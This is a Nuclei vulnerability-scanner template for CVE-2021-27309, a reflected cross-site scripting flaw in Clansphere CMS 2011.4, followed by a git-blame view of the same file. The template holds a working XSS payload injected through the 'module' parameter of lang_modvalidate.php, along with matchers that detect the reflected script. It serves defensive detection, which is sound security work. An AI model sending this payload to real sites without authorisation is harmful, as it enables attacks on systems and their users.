nuclei-templates/http/cves/2021/CVE-2021-27309.yaml

id: CVE-2021-27309

info:
  name: Clansphere CMS 2011.4 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    Clansphere CMS 2011.4 contains an unauthenticated reflected cross-site scripting vulnerability via the  "module" parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of Clansphere CMS or apply the vendor-supplied patch to fix the XSS vulnerability.
  reference:
    - https://github.com/xoffense/POC/blob/main/Clansphere%202011.4%20%22module%22%20xss.md
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27309
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27309
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-27309
    cwe-id: CWE-79
    epss-score: 0.00106
    epss-percentile: 0.43249
    cpe: cpe:2.3:a:csphere:clansphere:2011.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: csphere
    product: clansphere
  tags: cve2021,cve,clansphere,xss,cms,unauth,csphere

http:
  - method: GET
    path:
      - "{{BaseURL}}/mods/clansphere/lang_modvalidate.php?language=language&module=module%22></script><script>alert(document.domain)</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"></script><script>alert(document.domain)</script>.php'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c87a96a99fe91bc4f66db14b729c4c3899aaf8dc807d296ffc2ba25bf8b5e645022005527effb1edd34301335e3af7e55c9d52becdc54ef12a67bb08a563b3fd13bb:922c64590222798bb761d5b6d8e72950
Add CVE-2021-27309 2022-06-17 06:01:40 +00:00			`id: CVE-2021-27309`

			`info:`
Dashboard Content Enhancements (#5242) Dashboard Content Enhancements 2022-08-29 13:55:23 +00:00			`name: Clansphere CMS 2011.4 - Cross-Site Scripting`
Add CVE-2021-27309 2022-06-17 06:01:40 +00:00			`author: edoardottt`
			`severity: medium`
Update CVE-2021-27309.yaml 2022-06-21 03:45:58 +00:00			`description: \|`
Dashboard Content Enhancements (#5242) Dashboard Content Enhancements 2022-08-29 13:55:23 +00:00			`Clansphere CMS 2011.4 contains an unauthenticated reflected cross-site scripting vulnerability via the "module" parameter.`
Added Impact 2023-09-27 15:51:13 +00:00			`impact: \|`
			`Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`remediation: \|`
			`Upgrade to a patched version of Clansphere CMS or apply the vendor-supplied patch to fix the XSS vulnerability.`
Update CVE-2021-27309.yaml 2022-06-21 03:45:58 +00:00			`reference:`
			`- https://github.com/xoffense/POC/blob/main/Clansphere%202011.4%20%22module%22%20xss.md`
			`- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27309`
Dashboard Content Enhancements (#5242) Dashboard Content Enhancements 2022-08-29 13:55:23 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2021-27309`
TemplateMan Update [Mon Jan 29 17:11:13 UTC 2024] :robot: 2024-01-29 17:11:14 +00:00			`- https://github.com/ARPSyndicate/kenzer-templates`
Add CVE-2021-27309 2022-06-17 06:01:40 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`
			`cvss-score: 6.1`
			`cve-id: CVE-2021-27309`
			`cwe-id: CWE-79`
TemplateMan Update [Tue Dec 12 11:07:51 UTC 2023] :robot: 2023-12-12 11:07:52 +00:00			`epss-score: 0.00106`
product/queries updated 2024-05-31 19:23:20 +00:00			`epss-percentile: 0.43249`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`cpe: cpe:2.3:a:csphere:clansphere:2011.4:::::::*`
Update CVE-2021-27309.yaml 2022-06-21 03:46:45 +00:00			`metadata:`
boolean format update 2023-06-04 08:13:42 +00:00			`verified: true`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`max-request: 1`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`vendor: csphere`
			`product: clansphere`
auto tagging via templateman 2024-01-14 09:21:50 +00:00			`tags: cve2021,cve,clansphere,xss,cms,unauth,csphere`
Add CVE-2021-27309 2022-06-17 06:01:40 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Add CVE-2021-27309 2022-06-17 06:01:40 +00:00			`- method: GET`
			`path:`
Update CVE-2021-27309.yaml 2022-06-21 03:45:58 +00:00			`- "{{BaseURL}}/mods/clansphere/lang_modvalidate.php?language=language&module=module%22></script><script>alert(document.domain)</script>"`
Add CVE-2021-27309 2022-06-17 06:01:40 +00:00
			`matchers-condition: and`
			`matchers:`
			`- type: word`
Update CVE-2021-27309.yaml 2022-06-21 03:45:58 +00:00			`part: body`
Add CVE-2021-27309 2022-06-17 06:01:40 +00:00			`words:`
Update CVE-2021-27309.yaml 2022-06-21 03:45:58 +00:00			`- '"></script><script>alert(document.domain)</script>.php'`
Add CVE-2021-27309 2022-06-17 06:01:40 +00:00
			`- type: word`
Update CVE-2021-27309.yaml 2022-06-21 03:45:58 +00:00			`part: header`
Add CVE-2021-27309 2022-06-17 06:01:40 +00:00			`words:`
Update CVE-2021-27309.yaml 2022-06-21 03:45:58 +00:00			`- "text/html"`

			`- type: status`
			`status:`
			`- 200`
Auto Template Signing [Sat Jun 1 06:52:59 UTC 2024] :robot: 2024-06-01 06:53:00 +00:00			`# digest: 4a0a00473045022100c87a96a99fe91bc4f66db14b729c4c3899aaf8dc807d296ffc2ba25bf8b5e645022005527effb1edd34301335e3af7e55c9d52becdc54ef12a67bb08a563b3fd13bb:922c64590222798bb761d5b6d8e72950`